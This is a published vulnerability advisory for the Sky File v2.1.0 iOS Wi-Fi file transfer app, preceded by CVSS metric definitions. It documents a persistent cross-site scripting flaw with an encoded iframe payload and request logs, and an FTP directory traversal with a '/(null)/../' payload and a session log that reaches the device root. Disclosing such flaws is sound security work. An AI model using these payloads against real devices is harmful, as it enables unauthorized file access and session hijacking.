The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Below is a copy: Sky File 2.1.0 Cross Site Scripting / Directory Traversal
Document Title:
===============
Sky File v2.1.0 iOS - Multiple Web Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2207
Release Date:
=============
2020-04-21
Vulnerability Laboratory ID (VL-ID):
====================================
2207
Common Vulnerability Scoring System:
====================================
7.2
Vulnerability Class:
====================
Multiple
Current Estimated Price:
========================
1.000 - 2.000
Product & Service Introduction:
===============================
Sky File Transfer mainly to solve the problem of mobile device file
management and file transfer, through
our application can help you quickly transfer files to mobile devices,
so that your mobile device as U disk
as used, carry, at any time transmission. Our folder management similar
to the PC computer file mode of
operation, so you manage the file on the mobile device will be as
convenient as the PC, it is not only
suitable for personal life, but also very suitable for office use, it
will bring you more High efficiency.
(Copy of the Homepage:
https://apps.apple.com/us/app/sky-file-wireless-transfer/id1236452210 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple web
vulnerabilities in the official Sky File v2.1.0 mobile ios wifi
web-application.
Affected Product(s):
====================
Jin Chen
Product: Sky File v2.1.0 - (iOS) Mobile Web Application
Vulnerability Disclosure Timeline:
==================================
2020-04-21: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Authentication Type:
====================
No authentication (guest)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
1.1
Multiple persistent cross site scripting vulnerabilities has been
discovered in the official Sky File v2.1.0 mobile ios web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.
The cross site vulnerability is located in the 'createFolder' module.
Remote attackers with access to the ui via wifi are able
to inject own malicious persistent script code to compromise the
web-application or user credentials. The request method to
inject is POST and the attack vector is located on the application-side.
Successful exploitation of the vulnerability results session hijacking,
persistent phishing, persistent external redirects and
application-side manipulation of the web context of the affected and
connected device module.
1.2
A directory traversal web vulnerability has been discovered in the
official Sky File v2.1.0 mobile ios web-application.
The web vulnerability allows an attacker to unauthorized change the path
or directory to access sensitive application data.
The directory / path webvulnerability is located in the local ftp server
configuration and path validation with the insecure
access permissions. Normally the anonymous user account is only able to
move inside the main app folder but not above to the
web-server and root application files. In case of the issue remote
attackers are able to connect with anonymous user account
credentials to the wifi ftp server. After that the attacker can use a
misconfiguration in the ftp server of the app path to
transmit a `/null//` path commands after CWD and CDUP navigation via ftp
client. Thus allows the attacker to finally
unauthorized access the main root application path.
Successful exploitation of the directory traversal vulnerability results
in unauthorized file system access and information disclosure.
Proof of Concept (PoC):
=======================
1.1
The persistent script code inject vulnerability can be exploited by
remote attackers with wifi network access with low user interaction.
For security demonstration or to reproduce the web vulnerability follow
the provided information and steps below to continue.
PoC: Payload
%2F%3E%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert(%22PWND%22)%3E%3E%22%3E
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:10000/create
Mime Type[application/json]
Request Header:
Host[localhost:10000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost:10000/]
Content-Length[140]
Connection[keep-alive]
POST-Daten:
path[%2F%3E%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert(%22PWND%22)%3E%3E%22%3E]
Response Header:
Cache-Control[no-cache]
Content-Length[2]
Content-Type[application/json]
Connection[Close]
Server[GCDWebUploader]
-
Status: 200[OK]
GET
http://localhost:10000/list?path=%2F%3E%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert(%22PWND%22)%3E%3E
Mime Type[application/json]
Request Header:
Host[localhost:10000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost:10000/]
Connection[keep-alive]
Response Header:
Cache-Control[no-cache]
Content-Length[2]
Content-Type[application/json]
Connection[Close]
Server[GCDWebUploader]
-
Status: 200[OK]
GET http://localhost:10000/evil.source
Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:10000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0)
Gecko/20100101 Firefox/52.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:10000/]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[GCDWebUploader]
Connection[Close]
1.2
The directory traversal web vulnerability can be exploited by remote
attackers with wifi network access without user interaction.
For security demonstration or to reproduce the web vulnerability follow
the provided information and steps below to continue.
Manual steps to reproduce ...
1. Open the ftp preview the visible folders
2. Jump back to the the following path
/private/var/mobile/Containers/Data/Application/A9124FFE-16D8-413B-83B7-4018B69AEB45/
3. Include the payload /(null)// and refresh via list command
4. You are now placed in an empty folder without permission to move
5. Add to /(null)/../ to the path and refresh the client
6. Path traversal successful to access the main app root path (./) that
is normally not accessable
7. Successful reproduce of the path traversal web vulnerability!
PoC: Payload
/(null)// to /(null)/../
--- PoC Sessio Logs (FTP) ---
[21:52:40] [R] 221- Data traffic for this session was 0 bytes in 0 files
[21:52:40] [R] 221 Thank you for using the FTP service on localhost.
[21:52:40] [R] Logged off: 192.168.2.116 (Duration: 26 seconds)
[21:52:42] [R] Connecting to 192.168.2.116 -> IP=192.168.2.116 PORT=10001
[21:52:42] [R] Connected to 192.168.2.116
[21:52:42] [R] 220 iosFtp server ready.
[21:52:42] [R] USER anonymous
[21:52:42] [R] 331 Password required for (null)
[21:52:42] [R] PASS (hidden)
[21:52:42] [R] 230 User (null) logged in.
[21:52:42] [R] SYST
[21:52:42] [R] 215 UNIX Type: L8 Version: iosFtp 20080912
[21:52:42] [R] FEAT
[21:52:42] [R] 211-Features supported
[21:52:42] [R] UTF8
[21:52:42] [R] 211 End
[21:52:42] [R] OPTS UTF8 ON
[21:52:42] [R] 200 Type set Opts to UTF8.
[21:52:42] [R] PWD
[21:52:42] [R] 257
"/private/var/mobile/Containers/Data/Application/A9124FFE-16D8-413B-83B7-4018B69AEB45/Documents/myFolder/iFolder"
is the current directory.
[21:52:42] [R] CWD /(null)/
[21:52:42] [R] 550 CWD failed.
[21:52:42] [R] PWD
[21:52:42] [R] 257
"/private/var/mobile/Containers/Data/Application/A9124FFE-16D8-413B-83B7-4018B69AEB45/Documents/myFolder/iFolder"
is the current directory.
[21:52:42] [R] PASV
[21:52:42] [R] 227 Entering Passive Mode (192,168,2,116,39,252)
[21:52:42] [R] Opening data connection IP: 192.168.2.116 PORT: 10236
[21:52:42] [R] LIST -al
[21:52:42] [R] 150 Opening ASCII mode data connection for '/bin/ls'.
[21:52:42] [R] 226 Transfer complete.
[21:52:42] [R] List Complete: 149 bytes in 0,08 seconds (0,1 KB/s)
[21:52:43] [R] CDUP
[21:52:43] [R] 250 CDUP command successful.
[21:52:43] [R] PWD
[21:52:43] [R] 257
"/private/var/mobile/Containers/Data/Application/A9124FFE-16D8-413B-83B7-4018B69AEB45/Documents/myFolder"
is the current directory.
[21:52:43] [R] PASV
[21:52:43] [R] 227 Entering Passive Mode (192,168,2,116,87,51)
[21:52:43] [R] Opening data connection IP: 192.168.2.116 PORT: 22323
[21:52:43] [R] LIST -al
[21:52:43] [R] 150 Opening ASCII mode data connection for '/bin/ls'.
[21:52:43] [R] 226 Transfer complete.
[21:52:43] [R] List Complete: 308 bytes in 0,10 seconds (0,3 KB/s)
[21:52:43] [R] CDUP
[21:52:44] [R] 250 CDUP command successful.
[21:52:44] [R] PWD
[21:52:44] [R] 257
"/private/var/mobile/Containers/Data/Application/A9124FFE-16D8-413B-83B7-4018B69AEB45/Documents"
is the current directory.
[21:52:44] [R] PASV
[21:52:44] [R] 227 Entering Passive Mode (192,168,2,116,151,51)
[21:52:44] [R] Opening data connection IP: 192.168.2.116 PORT: 38707
[21:52:44] [R] LIST -al
[21:52:44] [R] 150 Opening ASCII mode data connection for '/bin/ls'.
[21:52:44] [R] 226 Transfer complete.
[21:52:44] [R] List Complete: 127 bytes in 0,08 seconds (0,1 KB/s)
[21:53:34] [R] CDUP
[21:53:34] [R] 250 CDUP command successful.
[21:53:34] [R] PWD
[21:53:34] [R] 257
"/private/var/mobile/Containers/Data/Application/A9124FFE-16D8-413B-83B7-4018B69AEB45"
is the current directory.
[21:53:34] [R] PASV
[21:53:34] [R] 227 Entering Passive Mode (192,168,2,116,227,14)
[21:53:34] [R] Opening data connection IP: 192.168.2.116 PORT: 58126
[21:53:34] [R] LIST -al
[21:53:34] [R] 150 Opening ASCII mode data connection for '/bin/ls'.
[21:53:34] [R] 226 Transfer complete.
[21:53:34] [R] List Complete: 312 bytes in 0,08 seconds (0,3 KB/s)
[21:53:35] [R] CDUP
[21:53:35] [R] 250 CDUP command successful.
[21:53:35] [R] PWD
[21:53:35] [R] 257 "(null)" is the current directory.
[21:53:35] [R] PASV
[21:53:35] [R] 227 Entering Passive Mode (192,168,2,116,159,14)
[21:53:35] [R] Opening data connection IP: 192.168.2.116 PORT: 40718
[21:53:35] [R] LIST -al
[21:53:35] [R] 150 Opening ASCII mode data connection for '/bin/ls'.
[21:53:35] [R] 226 Transfer complete.
[21:53:35] [R] List Complete: 0 bytes in 0,07 seconds (0,0 KB/s)
[21:53:35] [R] PASV
[21:53:35] [R] 227 Entering Passive Mode (192,168,2,116,143,14)
[21:53:35] [R] Opening data connection IP: 192.168.2.116 PORT: 36622
[21:53:35] [R] LIST -al
[21:53:35] [R] 150 Opening ASCII mode data connection for '/bin/ls'.
[21:53:35] [R] 226 Transfer complete.
[21:53:35] [R] List Complete: 0 bytes in 0,06 seconds (0,0 KB/s)
[21:53:36] [R] CDUP
[21:53:36] [R] 550 CDUP command failed.
[21:53:41] [R] CWD /etc
[21:53:41] [R] 250 CWD command successful.
[21:53:41] [R] PWD
[21:53:41] [R] 257 "(null)" is the current directory.
[21:53:48] [R] CDUP
[21:53:48] [R] 550 CDUP command failed.
[21:53:51] [R] CWD /
[21:53:51] [R] 250 CWD command successful.
[21:53:51] [R] PWD
[21:53:51] [R] 257 "/" is the current directory.
[21:53:51] [R] PASV
[21:53:51] [R] 227 Entering Passive Mode (192,168,2,116,221,173)
[21:53:51] [R] Opening data connection IP: 192.168.2.116 PORT: 56749
[21:53:51] [R] LIST -al
[21:53:51] [R] 150 Opening ASCII mode data connection for '/bin/ls'.
[21:53:51] [R] 226 Transfer complete.
[21:53:51] [R] List Complete: 741 bytes in 0,10 seconds (0,7 KB/s)
[21:54:02] [R] TYPE I
[21:54:02] [R] 200 Type set to I.
Listing Path ./root
- Applications
- bin
- cores
- developer
- Library
- private
- sbin
- System
- usr
- etc
- var
- tmp
Security Risk:
==============
1.1
The security risk of the persistent input validation web vulnerability
in the createfolder input field is estimated as medium.
1.2
The security risk of the directory traversal web vulnerability in the
mobile ios web application is estimated as high.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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=========================
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